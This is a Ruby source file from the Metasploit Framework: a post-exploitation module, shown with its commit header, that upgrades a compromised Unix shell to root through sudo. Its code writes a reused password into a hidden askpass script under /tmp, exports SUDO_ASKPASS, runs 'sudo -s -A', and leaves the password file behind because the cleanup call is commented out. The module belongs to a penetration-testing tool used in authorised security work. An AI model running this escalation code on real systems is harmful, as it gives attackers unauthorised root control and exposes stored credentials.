Files
metasploit-gs/modules/post/multi/manage/sudo.rb
T
Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

See:
  https://github.com/bbatsov/ruby-style-guide#collections
2013-09-24 12:33:31 -05:00

139 lines
4.3 KiB
Ruby

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
'Description' => %q{
This module attempts to upgrade a shell account to UID 0 by reusing the
given password and passing it to sudo. This technique relies on sudo
versions from 2008 and later which support -A.
},
'License' => MSF_LICENSE,
'Author' =>
[
'todb <todb[at]metasploit.com>',
'Ryan Baxendale <rbaxendale[at]gmail.com>' #added password option
],
'Platform' => %w{ aix linux osx solaris unix },
'References' =>
[
# Askpass first added March 2, 2008, looks like
[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
],
'SessionTypes' => [ 'shell' ] # Need to test 'meterpreter'
))
register_options(
[
OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])
], self.class)
end
# Run Method for when run command is issued
def run
print_status("SUDO: Attempting to upgrade to UID 0 via sudo")
sudo_bin = cmd_exec("which sudo")
if is_root?
print_status "Already root, so no need to upgrade permissions. Aborting."
return
end
if sudo_bin.empty?
print_error "No sudo binary available. Aborting."
return
end
get_root()
end
def get_root
if datastore['PASSWORD']
password = datastore['PASSWORD']
else
password = session.exploit_datastore['PASSWORD']
end
if password.to_s.empty?
print_status "No password available, trying a passwordless sudo."
else
print_status "Sudoing with password `#{password}'."
end
askpass_sudo(password)
unless is_root?
print_error "SUDO: Didn't work out, still a mere user."
else
print_good "SUDO: Root shell secured."
report_note(
:host => session,
:type => "host.escalation",
:data => "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
)
end
end
# TODO: test on more platforms
def askpass_sudo(password)
if password.to_s.empty?
begin
::Timeout.timeout(30) do
cmd_exec("sudo -s")
end
rescue ::Timeout::Error
print_error "SUDO: Passwordless sudo timed out. Might be blocking."
rescue
print_error "SUDO: Passwordless sudo failed. Check the session log."
end
else
askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)
begin
# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
# Generally will be much snappier over ssh.
# Need to timeout in case there's a blocking prompt after all
::Timeout.timeout(120) do
vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
cmd_exec("echo \\#\\!/bin/sh > #{askpass_sh}") # Cursed csh
cmd_exec("echo echo #{password} >> #{askpass_sh}")
vprint_status "Setting executable bit."
cmd_exec("chmod +x #{askpass_sh}")
vprint_status "Setting environment variable."
# Bruteforce the set command. At least one should work.
cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
vprint_status "Executing sudo -s -A"
cmd_exec("sudo -s -A")
end
rescue ::Timeout::Error
print_error "SUDO: Sudo with a password timed out."
rescue
print_error "SUDO: Sudo with a password failed. Check the session log."
end
# askpass_cleanup(askpass_sh)
end
end
def askpass_cleanup(askpass_sh)
begin
::Timeout.timeout(20) do
vprint_status "Deleting the SUDO_ASKPASS script."
cmd_exec("rm #{askpass_sh}")
end
rescue ::Timeout::Error
print_error "Timed out during sudo cleanup."
end
end
end